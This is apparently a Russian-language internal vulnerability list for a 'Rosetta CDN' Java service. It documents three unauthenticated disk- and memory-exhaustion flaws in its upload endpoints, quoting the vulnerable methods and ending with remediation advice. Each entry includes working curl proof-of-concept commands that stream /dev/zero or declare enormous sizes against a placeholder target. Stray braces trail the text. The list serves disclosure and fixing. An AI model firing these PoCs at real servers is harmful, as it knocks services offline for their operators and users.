132 lines
13 KiB
Plaintext
132 lines
13 KiB
Plaintext
============================================================
|
||
Rosetta CDN — Local CVE List (критические DoS)
|
||
============================================================
|
||
|
||
CVE-2026-0001 (Unrestricted File Upload DoS)
|
||
Риск: КРИТИЧЕСКИЙ
|
||
URL: https://git.rosetta.im/Rosetta/rosetta-cdn/src/branch/main/CdnResource.java
|
||
|
||
Описание:
|
||
POST /u не ограничивает размер загружаемого файла. Атакующий может передать
|
||
бесконечный поток данных, исчерпав всё дисковое пространство и остановив сервис.
|
||
|
||
Уязвимый фрагмент (CdnResource.java, метод upload):
|
||
|
||
@POST
|
||
@Path("u")
|
||
@Produces(MediaType.APPLICATION_JSON)
|
||
public Response upload(
|
||
@FormDataParam("file") InputStream inputStream,
|
||
@QueryParam("ttl") Long ttlMinutes,
|
||
@QueryParam("ttlMinutes") Long legacyTtlMinutes
|
||
) {
|
||
// НЕТ проверки размера InputStream
|
||
String tag = fileStore.save(inputStream, resolvedTtlMinutes);
|
||
return Response.ok(Map.of("t", tag)).build();
|
||
}
|
||
|
||
PoC (эксплуатация):
|
||
|
||
# Генерация бесконечного потока нулей и отправка как файл
|
||
curl -X POST https://target/u \
|
||
-F "file=@/dev/zero;type=application/octet-stream" \
|
||
-H "Content-Length: 9999999999999"
|
||
# Диск сервера заполняется, сервис падает.
|
||
|
||
============================================================
|
||
|
||
CVE-2026-0002 (Chunked Upload Init Resource Exhaustion)
|
||
Риск: КРИТИЧЕСКИЙ
|
||
URL: https://git.rosetta.im/Rosetta/rosetta-cdn/src/branch/main/CdnResource.java
|
||
|
||
Описание:
|
||
POST /u/init принимает size, chunkSize, chunks без верхних границ.
|
||
Злоумышленник может запросить резервирование огромного объёма (например,
|
||
size=9223372036854775807), что приводит к выделению памяти/диска и DoS.
|
||
|
||
Уязвимый фрагмент (CdnResource.java, метод initChunkedUpload):
|
||
|
||
@POST
|
||
@Path("u/init")
|
||
@Consumes(MediaType.APPLICATION_JSON)
|
||
@Produces(MediaType.APPLICATION_JSON)
|
||
public Response initChunkedUpload(
|
||
ChunkedUploadRequest request,
|
||
@QueryParam("ttl") Long ttlMinutes,
|
||
@QueryParam("ttlMinutes") Long legacyTtlMinutes
|
||
) {
|
||
// Только проверка на null, нет валидации максимума
|
||
String tag = fileStore.initChunkedUpload(
|
||
request.size(),
|
||
request.chunkSize(),
|
||
request.chunks(),
|
||
resolvedTtlMinutes
|
||
);
|
||
...
|
||
}
|
||
|
||
PoC (эксплуатация):
|
||
|
||
# Инициализация чанковой загрузки с гигантским размером
|
||
curl -X POST https://target/u/init \
|
||
-H "Content-Type: application/json" \
|
||
-d '{"size": 9999999999999, "chunkSize": 1, "chunks": 9999999999999}'
|
||
# Сервер выделяет ресурсы под этот объём, возможен немедленный отказ.
|
||
|
||
============================================================
|
||
|
||
CVE-2026-0003 (Chunk Upload Size Bypass)
|
||
Риск: КРИТИЧЕСКИЙ
|
||
URL: https://git.rosetta.im/Rosetta/rosetta-cdn/src/branch/main/CdnResource.java
|
||
|
||
Описание:
|
||
PUT /u/{tag}/chunks/{index} не проверяет фактический размер загружаемого чанка.
|
||
Атакующий может отправить чанк размером больше объявленного chunkSize,
|
||
переполнив выделенное пространство, либо загрузить больше чанков, чем
|
||
зарезервировано, что также ведёт к исчерпанию диска.
|
||
|
||
Уязвимый фрагмент (CdnResource.java, метод uploadChunk):
|
||
|
||
@PUT
|
||
@Path("u/{tag}/chunks/{index}")
|
||
@Consumes(MediaType.APPLICATION_OCTET_STREAM)
|
||
public Response uploadChunk(
|
||
@PathParam("tag") String tag,
|
||
@PathParam("index") int index,
|
||
InputStream inputStream
|
||
) {
|
||
// НЕТ ограничения на количество читаемых байт
|
||
fileStore.saveChunk(tag, index, inputStream);
|
||
return Response.noContent().build();
|
||
}
|
||
|
||
PoC (эксплуатация):
|
||
|
||
# 1. Сначала инициализируем загрузку с маленьким chunkSize=1024
|
||
TAG=$(curl -s -X POST https://target/u/init \
|
||
-H "Content-Type: application/json" \
|
||
-d '{"size": 1024, "chunkSize": 1024, "chunks": 1}' | jq -r '.t')
|
||
|
||
# 2. Отправляем чанк значительно большего размера (например, 1 ГБ)
|
||
curl -X PUT https://target/u/$TAG/chunks/0 \
|
||
-H "Content-Type: application/octet-stream" \
|
||
--data-binary @/dev/zero \
|
||
--limit-rate 100M
|
||
|
||
# Чанк записывается полностью, невзирая на заявленный chunkSize.
|
||
# Многократное повторение с разными индексами или превышение лимита
|
||
# приводит к переполнению диска и отказу сервиса.
|
||
|
||
============================================================
|
||
Общий комментарий:
|
||
- Аутентификация отсутствует, любой может вызвать все эндпоинты.
|
||
- Проблема приоритетная: необходимо внедрить ограничения размера тела
|
||
запроса, валидацию входных параметров и счётчики чанков.
|
||
============================================================9
|
||
}
|
||
)
|
||
)
|
||
}
|
||
)
|
||
}
|
||
) |